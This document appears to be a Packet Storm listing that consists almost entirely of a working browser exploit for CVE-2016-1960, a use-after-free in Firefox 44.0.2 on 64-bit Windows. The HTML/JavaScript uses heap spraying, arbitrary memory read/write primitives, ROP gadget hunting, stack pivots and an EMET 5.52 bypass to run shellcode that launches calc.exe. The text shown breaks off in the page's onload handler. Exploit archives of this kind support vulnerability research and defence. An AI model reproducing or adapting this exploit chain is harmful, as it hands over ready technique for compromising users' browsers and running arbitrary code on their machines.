Lucene search

K
packetstormHans Jerry IllikainenPACKETSTORM:143867
HistoryAug 20, 2017 - 12:00 a.m.

Mozilla Firefox nsHtml5TreeBuilder Use-After-Free

2017-08-2000:00:00
Hans Jerry Illikainen
packetstormsecurity.com
52

0.963 High

EPSS

Percentile

99.4%

`<!doctype html>  
<html>  
<head>  
<meta http-equiv="cache-control" content="no-cache" charset="utf-8" />  
<title>CVE-2016-1960</title>  
<script>  
/*  
* Exploit Title: Mozilla Firefox < 45.0 nsHtml5TreeBuilder Array Indexing Vulnerability (EMET 5.52 bypass)  
* Author: Hans Jerry Illikainen (exploit), ca0nguyen (vulnerability)  
* Vendor Homepage: https://mozilla.org  
* Software Link: https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/  
* Version: 44.0.2  
* Tested on: Windows 7 and Windows 10  
* CVE: CVE-2016-1960  
*  
* Exploit for CVE-2016-1960 [1] targeting Firefox 44.0.2 [2] on WoW64  
* with/without EMET 5.52.  
*  
* Tested on:  
* - 64bit Windows 10 Pro+Home (version 1703)  
* - 64bit Windows 7 Pro SP1  
*  
* Vulnerability disclosed by ca0nguyen [1].  
* Exploit written by Hans Jerry Illikainen <[email protected]>.  
*  
* [1] https://bugzilla.mozilla.org/show_bug.cgi?id=1246014  
* [2] https://ftp.mozilla.org/pub/firefox/releases/44.0.2/win32/en-US/  
*/  
  
"use strict";  
  
/* This is executed after having pivoted the stack. `esp' points to a  
* region on the heap, and the original stack pointer is stored in  
* `edi'. In order to bypass EMET, the shellcode should make sure to  
* xchg edi, esp before any protected function is called.  
*  
* For convenience, the first two "arguments" to the shellcode is a  
* module handle for kernel32.dll and the address of GetProcAddress() */  
const shellcode = [  
"\x8b\x84\x24\x04\x00\x00\x00", /* mov eax, dword [esp + 0x4] */  
"\x8b\x8c\x24\x08\x00\x00\x00", /* mov ecx, dword [esp + 0x8] */  
"\x87\xe7", /* xchg edi, esp */  
"\x56", /* push esi */  
"\x57", /* push edi */  
"\x89\xc6", /* mov esi, eax */  
"\x89\xcf", /* mov edi, ecx */  
"\x68\x78\x65\x63\x00", /* push xec\0 */  
"\x68\x57\x69\x6e\x45", /* push WinE */  
"\x54", /* push esp */  
"\x56", /* push esi */  
"\xff\xd7", /* call edi */  
"\x83\xc4\x08", /* add esp, 0x8 */  
  
"\x6a\x00", /* push 0 */  
"\x68\x2e\x65\x78\x65", /* push .exe */  
"\x68\x63\x61\x6c\x63", /* push calc */  
"\x89\xe1", /* mov ecx, esp */  
"\x6a\x01", /* push 1 */  
"\x51", /* push ecx */  
"\xff\xd0", /* call eax */  
"\x83\xc4\x0c", /* add esp, 0xc */  
  
"\x5f", /* pop edi */  
"\x5e", /* pop esi */  
"\x87\xe7", /* xchg edi, esp */  
"\xc3", /* ret */  
];  
  
function ROPHelper(pe, rwx) {  
this.pe = pe;  
this.rwx = rwx;  
this.cache = {};  
  
this.search = function(instructions) {  
for (let addr in this.cache) {  
if (this.match(this.cache[addr], instructions) === true) {  
return addr;  
}  
}  
  
const text = this.pe.text;  
for (let addr = text.base; addr < text.base + text.size; addr++) {  
const read = this.rwx.readBytes(addr, instructions.length);  
if (this.match(instructions, read) === true) {  
this.cache[addr] = instructions;  
return addr;  
}  
}  
  
throw new Error("could not find gadgets for " + instructions);  
};  
  
this.match = function(a, b) {  
if (a.length !== b.length) {  
return false;  
}  
  
for (let i = 0; i < a.length; i++) {  
if (a[i] !== b[i]) {  
return false;  
}  
}  
return true;  
};  
  
this.execute = function(func, args, cleanup) {  
const u32array = this.rwx.u32array;  
const ret = this.rwx.calloc(4);  
let i = this.rwx.div.mem.idx + 2941; /* gadgets after [A] and [B] */  
  
/*  
* [A] stack pivot  
*  
* xchg eax, esp  
* ret 0x2de8  
*/  
const pivot = this.search([0x94, 0xc2, 0xe8, 0x2d]);  
  
/*  
* [B] preserve old esp in a nonvolatile register  
*  
* xchg eax, edi  
* ret  
*/  
const after = this.search([0x97, 0xc3]);  
  
/*  
* [C] address to execute  
*/  
u32array[i++] = func;  
  
if (cleanup === true && args.length > 0) {  
if (args.length > 1) {  
/*  
* [E] return address from [C]: cleanup args on the stack  
*  
* add esp, args.length*4  
* ret  
*/  
u32array[i++] = this.search([0x83, 0xc4, args.length*4, 0xc3]);  
} else {  
/*  
* [E] return address from [C]: cleanup arg  
*  
* pop ecx  
* ret  
*/  
u32array[i++] = this.search([0x59, 0xc3]);  
}  
} else {  
/*  
* [E] return address from [C]  
*  
* ret  
*/  
u32array[i++] = this.search([0xc3]);  
}  
  
/*  
* [D] arguments for [C]  
*/  
for (let j = 0; j < args.length; j++) {  
u32array[i++] = args[j];  
}  
  
/*  
* [F] pop the location for the return value  
*  
* pop ecx  
* ret  
*/  
u32array[i++] = this.search([0x59, 0xc3]);  
  
/*  
* [G] address to store the return value  
*/  
u32array[i++] = ret.addr;  
  
/*  
* [H] move the return value to [G]  
*  
* mov dword [ecx], eax  
* ret  
*/  
u32array[i++] = this.search([0x89, 0x01, 0xc3]);  
  
/*  
* [I] restore the original esp and return  
*  
* mov esp, edi  
* ret  
*/  
u32array[i++] = this.search([0x89, 0xfc, 0xc3]);  
  
this.rwx.execute(pivot, after);  
  
return u32array[ret.idx];  
};  
}  
  
function ICUUC55(rop, pe, rwx) {  
this.rop = rop;  
this.pe = pe;  
this.rwx = rwx;  
this.kernel32 = new KERNEL32(rop, pe, rwx);  
this.icuuc55handle = this.kernel32.GetModuleHandleA("icuuc55.dll");  
  
/*  
* The invocation of uprv_malloc_55() requires special care since  
* pAlloc points to a protected function (VirtualAlloc).  
*  
* ROPHelper.execute() can't be used because:  
* 1. it pivots the stack to the heap (StackPivot protection)  
* 2. it returns into the specified function (Caller protection)  
* 3. the forward ROP chain is based on returns (SimExecFlow protection)  
*  
* This function consist of several steps:  
* 1. a second-stage ROP chain is written to the stack  
* 2. a first-stage ROP chain is executed that pivots to the heap  
* 3. the first-stage ROP chain continues by pivoting to #1  
* 4. uprv_malloc_55() is invoked  
* 5. the return value is saved  
* 6. the original stack is restored  
*  
* Of note is that uprv_malloc_55() only takes a `size' argument,  
* and it passes two arguments to the hijacked pAlloc function  
* pointer (context and size; both in our control). VirtualAlloc,  
* on the other hand, expects four arguments. So, we'll have to  
* setup the stack so that the values interpreted by VirtualAlloc as  
* its arguments are reasonably-looking.  
*  
* By the time that uprv_malloc_55() is returned into, the stack  
* will look like:  
* [A] [B] [C] [D]  
*  
* When pAlloc is entered, the stack will look like:  
* [uprv_malloc_55()-ret] [pContext] [B] [A] [B] [C] [D]  
*  
* Since we've set pAlloc to point at VirtualAlloc, the call is  
* interpreted as VirtualAlloc(pContext, B, A, B);  
*  
* Hence, because we want `flProtect' to be PAGE_EXECUTE_READWRITE,  
* we also have to have a `size' with the same value; meaning our  
* rwx allocation will only be 0x40 bytes.  
*  
* This is not a problem, since we can simply write a small snippet  
* of shellcode that allocates a larger region in a non-ROPy way  
* afterwards.  
*/  
this.uprv_malloc_55 = function(stackAddr) {  
const func = this.kernel32.GetProcAddress(this.icuuc55handle,  
"uprv_malloc_55");  
const ret = this.rwx.calloc(4);  
const u32array = this.rwx.u32array;  
  
/**********************  
* second stage gadgets  
**********************/  
const stackGadgets = new Array(  
func,  
  
0x1000, /* [A] flAllocationType (MEM_COMMIT) */  
0x40, /* [B] dwSize and flProtect (PAGE_EXECUTE_READWRITE) */  
0x41414141, /* [C] */  
0x42424242, /* [D] */  
  
/*  
* location to write the return value  
*  
* pop ecx  
* ret  
*/  
this.rop.search([0x59, 0xc3]),  
ret.addr,  
  
/*  
* do the write  
*  
* mov dword [ecx], eax  
* ret  
*/  
this.rop.search([0x89, 0x01, 0xc3]),  
  
/*  
* restore the old stack  
*  
* mov esp, edi  
* ret  
*/  
this.rop.search([0x89, 0xfc, 0xc3])  
);  
  
const origStack = this.rwx.readDWords(stackAddr, stackGadgets.length);  
this.rwx.writeDWords(stackAddr, stackGadgets);  
  
  
/*********************  
* first stage gadgets  
*********************/  
/*  
* pivot  
*  
* xchg eax, esp  
* ret 0x2de8  
*/  
const pivot = this.rop.search([0x94, 0xc2, 0xe8, 0x2d]);  
  
/*  
* preserve old esp in a nonvolatile register  
*  
* xchg eax, edi  
* ret  
*/  
const after = this.rop.search([0x97, 0xc3]);  
  
/*  
* pivot to the second stage  
*  
* pop esp  
* ret  
*/  
u32array[this.rwx.div.mem.idx + 2941] = this.rop.search([0x5c, 0xc3]);  
u32array[this.rwx.div.mem.idx + 2942] = stackAddr;  
  
/*  
* here we go :)  
*/  
this.rwx.execute(pivot, after);  
this.rwx.writeDWords(stackAddr, origStack);  
  
if (u32array[ret.idx] === 0) {  
throw new Error("uprv_malloc_55() failed");  
}  
return u32array[ret.idx];  
};  
  
/*  
* Overrides the pointers in firefox-44.0.2/intl/icu/source/common/cmemory.c  
*/  
this.u_setMemoryFunctions_55 = function(context, a, r, f, status) {  
const func = this.kernel32.GetProcAddress(this.icuuc55handle,  
"u_setMemoryFunctions_55");  
this.rop.execute(func, [context, a, r, f, status], true);  
};  
  
/*  
* Sets `pAlloc' to VirtualAlloc. `pRealloc' and `pFree' are  
* set to point to small gadgets.  
*/  
this.set = function() {  
const status = this.rwx.calloc(4);  
const alloc = this.pe.search("kernel32.dll", "VirtualAlloc");  
  
/* pretend to be a failed reallocation  
*  
* xor eax, eax  
* ret */  
const realloc = this.rop.search([0x33, 0xc0, 0xc3]);  
  
/* let the chunk live  
*  
* ret */  
const free = this.rop.search([0xc3]);  
  
this.u_setMemoryFunctions_55(0, alloc, realloc, free, status.addr);  
if (this.rwx.u32array[status.idx] !== 0) {  
throw new Error("u_setMemoryFunctions_55() failed");  
}  
};  
  
/*  
* This (sort of) restores the functionality in  
* intl/icu/source/common/cmemory.c by reusing the previously  
* allocated PAGE_EXECUTE_READWRITE chunk to set up three stubs that  
* invokes an appropriate function in mozglue.dll  
*/  
this.reset = function(chunk) {  
const u32array = this.rwx.u32array;  
const status = this.rwx.calloc(4);  
  
/*  
* pFree  
*/  
const free = {};  
free.addr = chunk;  
free.func = this.rwx.calloc(4);  
free.func.str = this.dword2str(free.func.addr);  
free.code = [  
"\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */  
"\x50", /* push eax */  
"\x8b\x05" + free.func.str, /* mov eax, [location-of-free] */  
"\xff\xd0", /* call eax */  
"\x59", /* pop ecx */  
"\xc3", /* ret */  
].join("");  
u32array[free.func.idx] = this.pe.search("mozglue.dll", "free");  
this.rwx.writeString(free.addr, free.code);  
  
/*  
* pAlloc  
*/  
const alloc = {};  
alloc.addr = chunk + free.code.length;  
alloc.func = this.rwx.calloc(4);  
alloc.func.str = this.dword2str(alloc.func.addr);  
alloc.code = [  
"\x8b\x84\x24\x08\x00\x00\x00", /* mov eax, dword [esp + 0x8] */  
"\x50", /* push eax */  
"\x8b\x05" + alloc.func.str, /* mov eax, [location-of-alloc] */  
"\xff\xd0", /* call eax */  
"\x59", /* pop ecx */  
"\xc3", /* ret */  
].join("");  
u32array[alloc.func.idx] = this.pe.search("mozglue.dll", "malloc");  
this.rwx.writeString(alloc.addr, alloc.code);  
  
/*  
* pRealloc  
*/  
const realloc = {};  
realloc.addr = chunk + free.code.length + alloc.code.length;  
realloc.func = this.rwx.calloc(4);  
realloc.func.str = this.dword2str(realloc.func.addr);  
realloc.code = [  
"\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */  
"\x50", /* push eax */  
"\x8b\x84\x24\x0c\x00\x00\x00", /* mov eax, dword [esp + 0xc] */  
"\x50", /* push eax */  
"\x8b\x05" + realloc.func.str, /* mov eax, [location-of-realloc] */  
"\xff\xd0", /* call eax */  
"\x59", /* pop ecx */  
"\x59", /* pop ecx */  
"\xc3", /* ret */  
].join("");  
u32array[realloc.func.idx] = this.pe.search("mozglue.dll", "realloc");  
this.rwx.writeString(realloc.addr, realloc.code);  
  
this.u_setMemoryFunctions_55(0,  
alloc.addr,  
realloc.addr,  
free.addr,  
status.addr);  
if (u32array[status.idx] !== 0) {  
throw new Error("u_setMemoryFunctions_55() failed");  
}  
};  
  
/*  
* Allocates a small chunk of memory marked RWX, which is used  
* to allocate a `size'-byte chunk (see uprv_malloc_55()). The  
* first allocation is then repurposed in reset().  
*/  
this.alloc = function(stackAddr, size) {  
/*  
* hijack the function pointers  
*/  
this.set();  
  
/*  
* do the initial 0x40 byte allocation  
*/  
const chunk = this.uprv_malloc_55(stackAddr);  
log("allocated 0x40 byte chunk at 0x" + chunk.toString(16));  
  
/*  
* allocate a larger chunk now that we're no longer limited to ROP/JOP  
*/  
const u32array = this.rwx.u32array;  
const func = this.rwx.calloc(4);  
func.str = this.dword2str(func.addr);  
u32array[func.idx] = this.pe.search("kernel32.dll", "VirtualAlloc");  
const code = [  
"\x87\xe7", /* xchg edi, esp (orig stack) */  
"\x6a\x40", /* push 0x40 (flProtect) */  
"\x68\x00\x10\x00\x00", /* push 0x1000 (flAllocationType) */  
"\xb8" + this.dword2str(size), /* move eax, size */  
"\x50", /* push eax (dwSize) */  
"\x6a\x00", /* push 0 (lpAddress) */  
"\x8b\x05" + func.str, /* mov eax, [loc-of-VirtualAlloc] */  
"\xff\xd0", /* call eax */  
"\x87\xe7", /* xchg edi, esp (back to heap) */  
"\xc3", /* ret */  
].join("");  
this.rwx.writeString(chunk, code);  
const newChunk = this.rop.execute(chunk, [], false);  
log("allocated " + size + " byte chunk at 0x" + newChunk.toString(16));  
  
/*  
* repurpose the first rwx chunk to restore functionality  
*/  
this.reset(chunk);  
  
return newChunk;  
};  
  
this.dword2str = function(dword) {  
let str = "";  
for (let i = 0; i < 4; i++) {  
str += String.fromCharCode((dword >> 8 * i) & 0xff);  
}  
return str;  
};  
}  
  
function KERNEL32(rop, pe, rwx) {  
this.rop = rop;  
this.pe = pe;  
this.rwx = rwx;  
  
/*  
* Retrieves a handle for an imported module  
*/  
this.GetModuleHandleA = function(lpModuleName) {  
const func = this.pe.search("kernel32.dll", "GetModuleHandleA");  
const name = this.rwx.copyString(lpModuleName);  
const module = this.rop.execute(func, [name.addr], false);  
if (module === 0) {  
throw new Error("could not get a handle for " + lpModuleName);  
}  
return module;  
};  
  
/*  
* Retrieves the address of an exported symbol. Do not invoke this  
* function on protected modules (if you want to bypass EAF); instead  
* try to locate the symbol in any of the import tables or choose  
* another target.  
*/  
this.GetProcAddress = function(hModule, lpProcName) {  
const func = this.pe.search("kernel32.dll", "GetProcAddress");  
const name = this.rwx.copyString(lpProcName);  
const addr = this.rop.execute(func, [hModule, name.addr], false);  
if (addr === 0) {  
throw new Error("could not get address for " + lpProcName);  
}  
return addr;  
};  
  
/*  
* Retrieves a handle for the current thread  
*/  
this.GetCurrentThread = function() {  
const func = this.pe.search("kernel32.dll", "GetCurrentThread");  
return this.rop.execute(func, [], false);  
};  
}  
  
function NTDLL(rop, pe, rwx) {  
this.rop = rop;  
this.pe = pe;  
this.rwx = rwx;  
  
/*  
* Retrieves the stack limit from the Thread Environment Block  
*/  
this.getStackLimit = function(ThreadHandle) {  
const mem = this.rwx.calloc(0x1c);  
this.NtQueryInformationThread(ThreadHandle, 0, mem.addr, mem.size, 0);  
return this.rwx.readDWord(this.rwx.u32array[mem.idx+1] + 8);  
};  
  
/*  
* Retrieves thread information  
*/  
this.NtQueryInformationThread = function(ThreadHandle,  
ThreadInformationClass,  
ThreadInformation,  
ThreadInformationLength,  
ReturnLength) {  
const func = this.pe.search("ntdll.dll", "NtQueryInformationThread");  
const ret = this.rop.execute(func, arguments, false);  
if (ret !== 0) {  
throw new Error("NtQueryInformationThread failed");  
}  
return ret;  
};  
}  
  
function ReadWriteExecute(u32base, u32array, array) {  
this.u32base = u32base;  
this.u32array = u32array;  
this.array = array;  
  
/*  
* Reads `length' bytes from `addr' through a fake string  
*/  
this.readBytes = function(addr, length) {  
/* create a string-jsval */  
this.u32array[4] = this.u32base + 6*4; /* addr to meta */  
this.u32array[5] = 0xffffff85; /* type (JSVAL_TAG_STRING) */  
  
/* metadata */  
this.u32array[6] = 0x49; /* flags */  
this.u32array[7] = length; /* read size */  
this.u32array[8] = addr; /* memory to read */  
  
/* Uint8Array is *significantly* slower, which kills our ROP hunting */  
const result = new Array();  
  
const str = this.getArrayElem(4);  
for (let i = 0; i < str.length; i++) {  
result[i] = str.charCodeAt(i);  
}  
  
return result;  
};  
  
this.readDWords = function(addr, num) {  
const bytes = this.readBytes(addr, num * 4);  
const dwords = new Uint32Array(num);  
for (let i = 0; i < bytes.length; i += 4) {  
for (let j = 0; j < 4; j++) {  
dwords[i/4] |= bytes[i+j] << (8 * j);  
}  
}  
return dwords;  
};  
  
this.readDWord = function(addr) {  
return this.readDWords(addr, 1)[0];  
};  
  
this.readWords = function(addr, num) {  
const bytes = this.readBytes(addr, num * 2);  
const words = new Uint16Array(num);  
for (let i = 0; i < bytes.length; i += 2) {  
for (let j = 0; j < 2; j++) {  
words[i/2] |= bytes[i+j] << (8 * j);  
}  
}  
return words;  
};  
  
this.readWord = function(addr) {  
return this.readWords(addr, 1)[0];  
};  
  
this.readString = function(addr) {  
for (let i = 0, str = ""; ; i++) {  
const chr = this.readBytes(addr + i, 1)[0];  
if (chr === 0) {  
return str;  
}  
str += String.fromCharCode(chr);  
}  
};  
  
/*  
* Writes `values' to `addr' by using the metadata of an Uint8Array  
* to set up a write primitive  
*/  
this.writeBytes = function(addr, values) {  
/* create jsval */  
const jsMem = this.calloc(8);  
this.setArrayElem(jsMem.idx, new Uint8Array(values.length));  
  
/* copy metadata */  
const meta = this.readDWords(this.u32array[jsMem.idx], 12);  
const metaMem = this.calloc(meta.length * 4);  
for (let i = 0; i < meta.length; i++) {  
this.u32array[metaMem.idx + i] = meta[i];  
}  
  
/* change the pointer to the contents of the Uint8Array */  
this.u32array[metaMem.idx + 10] = addr;  
  
/* change the pointer to the metadata */  
const oldMeta = this.u32array[jsMem.idx];  
this.u32array[jsMem.idx] = metaMem.addr;  
  
/* write */  
const u8 = this.getArrayElem(jsMem.idx);  
for (let i = 0; i < values.length; i++) {  
u8[i] = values[i];  
}  
  
/* clean up */  
this.u32array[jsMem.idx] = oldMeta;  
};  
  
this.writeDWords = function(addr, values) {  
const u8 = new Uint8Array(values.length * 4);  
for (let i = 0; i < values.length; i++) {  
for (let j = 0; j < 4; j++) {  
u8[i*4 + j] = values[i] >> (8 * j) & 0xff;  
}  
}  
this.writeBytes(addr, u8);  
};  
  
this.writeDWord = function(addr, value) {  
const u32 = new Uint32Array(1);  
u32[0] = value;  
this.writeDWords(addr, u32);  
};  
  
this.writeString = function(addr, str) {  
const u8 = new Uint8Array(str.length);  
  
for (let i = 0; i < str.length; i++) {  
u8[i] = str.charCodeAt(i);  
}  
this.writeBytes(addr, u8);  
};  
  
/*  
* Copies a string to the `u32array' and returns an object from  
* calloc().  
*  
* This is an ugly workaround to allow placing a string at a known  
* location without having to implement proper support for JSString  
* and its various string types.  
*/  
this.copyString = function(str) {  
str += "\x00".repeat(4 - str.length % 4);  
const mem = this.calloc(str.length);  
  
for (let i = 0, j = 0; i < str.length; i++) {  
if (i && !(i % 4)) {  
j++;  
}  
this.u32array[mem.idx + j] |= str.charCodeAt(i) << (8 * (i % 4));  
}  
return mem;  
};  
  
/*  
* Creates a <div> and copies the contents of its vftable to  
* writable memory.  
*/  
this.createExecuteDiv = function() {  
const div = {};  
  
/* 0x3000 bytes should be enough for the div, vftable and gadgets */  
div.mem = this.calloc(0x3000);  
  
div.elem = document.createElement("div");  
this.setArrayElem(div.mem.idx, div.elem);  
  
/* addr of the div */  
const addr = this.u32array[div.mem.idx];  
  
/* *(addr+4) = this */  
const ths = this.readDWord(addr + 4*4);  
  
/* *this = xul!mozilla::dom::HTMLDivElement::`vftable' */  
const vftable = this.readDWord(ths);  
  
/* copy the vftable (the size is a guesstimate) */  
const entries = this.readDWords(vftable, 512);  
this.writeDWords(div.mem.addr + 4*2, entries);  
  
/* replace the pointer to the original vftable with ours */  
this.writeDWord(ths, div.mem.addr + 4*2);  
  
return div;  
};  
  
/*  
* Replaces two vftable entries of the previously created div and  
* triggers code execution  
*/  
this.execute = function(pivot, postPivot) {  
/* vftable entry for xul!nsGenericHTMLElement::QueryInterface  
* kind of ugly, but we'll land here after the pivot that's used  
* in ROPHelper.execute() */  
const savedQueryInterface = this.u32array[this.div.mem.idx + 2];  
this.u32array[this.div.mem.idx + 2] = postPivot;  
  
/* vftable entry for xul!nsGenericHTMLElement::Click */  
const savedClick = this.u32array[this.div.mem.idx + 131];  
this.u32array[this.div.mem.idx + 131] = pivot;  
  
/* execute */  
this.div.elem.click();  
  
/* restore our overwritten vftable pointers */  
this.u32array[this.div.mem.idx + 2] = savedQueryInterface;  
this.u32array[this.div.mem.idx + 131] = savedClick;  
};  
  
/*  
* Reserves space in the `u32array' and initializes it to 0.  
*  
* Returns an object with the following properties:  
* - idx: index of the start of the allocation in the u32array  
* - addr: start address of the allocation  
* - size: non-padded allocation size  
* - realSize: padded size  
*/  
this.calloc = function(size) {  
let padded = size;  
if (!size || size % 4) {  
padded += 4 - size % 4;  
}  
  
const found = [];  
/* the first few dwords are reserved for the metadata belonging  
* to `this.array' and for the JSString in readBytes (since using  
* this function would impact the speed of the ROP hunting) */  
for (let i = 10; i < this.u32array.length - 1; i += 2) {  
if (this.u32array[i] === 0x11223344 &&  
this.u32array[i+1] === 0x55667788) {  
found.push(i, i+1);  
if (found.length >= padded / 4) {  
for (let j = 0; j < found.length; j++) {  
this.u32array[found[j]] = 0;  
}  
return {  
idx: found[0],  
addr: this.u32base + found[0]*4,  
size: size,  
realSize: padded,  
};  
}  
} else {  
found.length = 0;  
}  
}  
throw new Error("calloc(): out of memory");  
};  
  
/*  
* Returns an element in `array' based on an index for `u32array'  
*/  
this.getArrayElem = function(idx) {  
if (idx <= 3 || idx % 2) {  
throw new Error("invalid index");  
}  
return this.array[(idx - 4) / 2];  
};  
  
/*  
* Sets an element in `array' based on an index for `u32array'  
*/  
this.setArrayElem = function(idx, value) {  
if (idx <= 3 || idx % 2) {  
throw new Error("invalid index");  
}  
this.array[(idx - 4) / 2] = value;  
};  
  
this.div = this.createExecuteDiv();  
}  
  
function PortableExecutable(base, rwx) {  
this.base = base;  
this.rwx = rwx;  
this.imports = {};  
this.text = {};  
  
/*  
* Parses the PE import table. Some resources of interest:  
*  
* - An In-Depth Look into the Win32 Portable Executable File Format  
* https://msdn.microsoft.com/en-us/magazine/bb985992(printer).aspx  
*  
* - Microsoft Portable Executable and Common Object File Format Specification  
* https://www.microsoft.com/en-us/download/details.aspx?id=19509  
*  
* - Understanding the Import Address Table  
* http://sandsprite.com/CodeStuff/Understanding_imports.html  
*/  
this.read = function() {  
const rwx = this.rwx;  
let addr = this.base;  
  
/*  
* DOS header  
*/  
const magic = rwx.readWord(addr);  
if (magic !== 0x5a4d) {  
throw new Error("bad DOS header");  
}  
const lfanew = rwx.readDWord(addr + 0x3c, 4);  
addr += lfanew;  
  
/*  
* Signature  
*/  
const signature = rwx.readDWord(addr);  
if (signature !== 0x00004550) {  
throw new Error("bad signature");  
}  
addr += 4;  
  
/*  
* COFF File Header  
*/  
addr += 20;  
  
/*  
* Optional Header  
*/  
const optionalMagic = rwx.readWord(addr);  
if (optionalMagic !== 0x010b) {  
throw new Error("bad optional header");  
}  
  
this.text.size = rwx.readDWord(addr + 4);  
this.text.base = this.base + rwx.readDWord(addr + 20);  
  
const numberOfRvaAndSizes = rwx.readDWord(addr + 92);  
addr += 96;  
  
/*  
* Optional Header Data Directories  
*  
* N entries * 2 DWORDs (RVA and size)  
*/  
const directories = rwx.readDWords(addr, numberOfRvaAndSizes * 2);  
  
for (let i = 0; i < directories[3] - 5*4; i += 5*4) {  
/* Import Directory Table (N entries * 5 DWORDs) */  
const members = rwx.readDWords(this.base + directories[2] + i, 5);  
const lookupTable = this.base + members[0];  
const dllName = rwx.readString(this.base+members[3]).toLowerCase();  
const addrTable = this.base + members[4];  
  
this.imports[dllName] = {};  
  
/* Import Lookup Table */  
for (let j = 0; ; j += 4) {  
const hintNameRva = rwx.readDWord(lookupTable + j);  
/* the last entry is NULL */  
if (hintNameRva === 0) {  
break;  
}  
  
/* name is not available if the dll is imported by ordinal */  
if (hintNameRva & (1 << 31)) {  
continue;  
}  
  
const importName = rwx.readString(this.base + hintNameRva + 2);  
const importAddr = rwx.readDWord(addrTable + j);  
this.imports[dllName][importName] = importAddr;  
}  
}  
};  
  
/*  
* Searches for an imported symbol  
*/  
this.search = function(dll, symbol) {  
if (this.imports[dll] === undefined) {  
throw new Error("unknown dll: " + dll);  
}  
  
const addr = this.imports[dll][symbol];  
if (addr === undefined) {  
throw new Error("unknown symbol: " + symbol);  
}  
return addr;  
};  
}  
  
function Spray() {  
this.nodeBase = 0x80000000;  
this.ptrNum = 64;  
this.refcount = 0xffffffff;  
/*  
* 0:005> ?? sizeof(nsHtml5StackNode)  
* unsigned int 0x1c  
*/  
this.nsHtml5StackNodeSize = 0x1c;  
  
/*  
* Creates a bunch of fake nsHtml5StackNode:s with the hope of hitting  
* the address of elementName->name when it's [xul!nsHtml5Atoms::style].  
*  
* Ultimately, the goal is to enter the conditional on line 2743:  
*  
* firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:2743  
* ,----  
* | 2214 void  
* | 2215 nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)  
* | 2216 {  
* | ....  
* | 2221 nsIAtom* name = elementName->name;  
* | ....  
* | 2741 for (; ; ) {  
* | 2742 nsHtml5StackNode* node = stack[eltPos];  
* | 2743 if (node->ns == kNameSpaceID_XHTML && node->name == name) {  
* | ....  
* | 2748 while (currentPtr >= eltPos) {  
* | 2749 pop();  
* | 2750 }  
* | 2751 NS_HTML5_BREAK(endtagloop);  
* | 2752 } else if (node->isSpecial()) {  
* | 2753 errStrayEndTag(name);  
* | 2754 NS_HTML5_BREAK(endtagloop);  
* | 2755 }  
* | 2756 eltPos--;  
* | 2757 }  
* | ....  
* | 3035 }  
* `----  
*  
* We get 64 attempts each time the bug is triggered -- however, in  
* order to have a clean break, the last node has its flags set to  
* NS_HTML5ELEMENT_NAME_SPECIAL, so that the conditional on line  
* 2752 is entered.  
*  
* If we do find ourselves with a node->name == name, then  
* nsHtml5TreeBuilder::pop() invokes nsHtml5StackNode::release().  
* The release() method decrements the nodes refcount -- and, if the  
* refcount reaches 0, also deletes it.  
*  
* Assuming everything goes well, the Uint32Array is allocated with  
* the method presented by SkyLined/@berendjanwever in:  
*  
* "Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows"  
* http://blog.skylined.nl/20160622001.html  
*/  
this.nodes = function(name, bruteforce) {  
const nodes = new Uint32Array(0x19000000);  
const size = this.nsHtml5StackNodeSize / 4;  
const refcount = bruteforce ? this.refcount : 1;  
let flags = 0;  
  
for (let i = 0; i < this.ptrNum * size; i += size) {  
if (i === (this.ptrNum - 1) * size) {  
flags = 1 << 29; /* NS_HTML5ELEMENT_NAME_SPECIAL */  
name = 0x0;  
}  
nodes[i] = flags;  
nodes[i+1] = name;  
nodes[i+2] = 0; /* popName */  
nodes[i+3] = 3; /* ns (kNameSpaceID_XHTML) */  
nodes[i+4] = 0; /* node */  
nodes[i+5] = 0; /* attributes */  
nodes[i+6] = refcount;  
name += 0x100000;  
}  
return nodes;  
};  
  
/*  
* Sprays pointers to the fake nsHtml5StackNode:s created in nodes()  
*/  
this.pointers = function() {  
const pointers = new Array();  
  
for (let i = 0; i < 0x30000; i++) {  
pointers[i] = new Uint32Array(this.ptrNum);  
let node = this.nodeBase;  
for (let j = pointers[i].length - 1; j >= 0; j--) {  
pointers[i][j] = node;  
node += this.nsHtml5StackNodeSize;  
}  
}  
return pointers;  
};  
  
/*  
* Sprays a bunch of arrays with the goal of having one hijack the  
* previously freed Uint32Array  
*/  
this.arrays = function() {  
const array = new Array();  
  
for (let i = 0; i < 0x800; i++) {  
array[i] = new Array();  
for (let j = 0; j < 0x10000; j++) {  
/* 0x11223344, 0x55667788 */  
array[i][j] = 2.5160082934009793e+103;  
}  
}  
return array;  
};  
  
/*  
* Not sure how reliable this is, but on 3 machines running win10 on  
* bare metal and on a few VMs with win7/win10 (all with and without  
* EMET), [xul!nsHtml5Atoms::style] was always found within  
* 0x[00a-1c2]f[a-f]6(c|e)0  
*/  
this.getNextAddr = function(current) {  
const start = 0x00afa6c0;  
  
if (!current) {  
return start;  
}  
  
if ((current >> 20) < 0x150) {  
return current + 0x100000*(this.ptrNum-1);  
}  
  
if ((current >> 12 & 0xf) !== 0xf) {  
return (current + 0x1000) & ~(0xfff << 20) | (start >> 20) << 20;  
}  
  
if ((current >> 4 & 0xf) === 0xc) {  
return start + 0x20;  
}  
throw new Error("out of guesses");  
};  
  
/*  
* Returns the `name' from the last node with a decremented  
* refcount, if any are found  
*/  
this.findStyleAddr = function(nodes) {  
const size = this.nsHtml5StackNodeSize / 4;  
  
for (let i = 64 * size - 1; i >= 0; i -= size) {  
if (nodes[i] === this.refcount - 1) {  
return nodes[i-5];  
}  
}  
};  
  
/*  
* Locates a subarray in `array' that overlaps with `nodes'  
*/  
this.findArray = function(nodes, array) {  
/* index 0..3 is metadata for `array' */  
nodes[4] = 0x41414141;  
nodes[5] = 0x42424242;  
  
for (let i = 0; i < array.length; i++) {  
if (array[i][0] === 156842099330.5098) {  
return array[i];  
}  
}  
throw new Error("Uint32Array hijack failed");  
};  
}  
  
function log(msg) {  
dump("=> " + msg + "\n");  
console.log("=> " + msg);  
}  
  
let nodes;  
let hijacked;  
window.onload = function() {  
if (!navigator.userAgent.match(/Windows NT [0-9.]+; WOW64; rv:44\.0/)) {  
throw new Error("unsupported user-agent");  
}  
  
const spray = new Spray();  
  
/*  
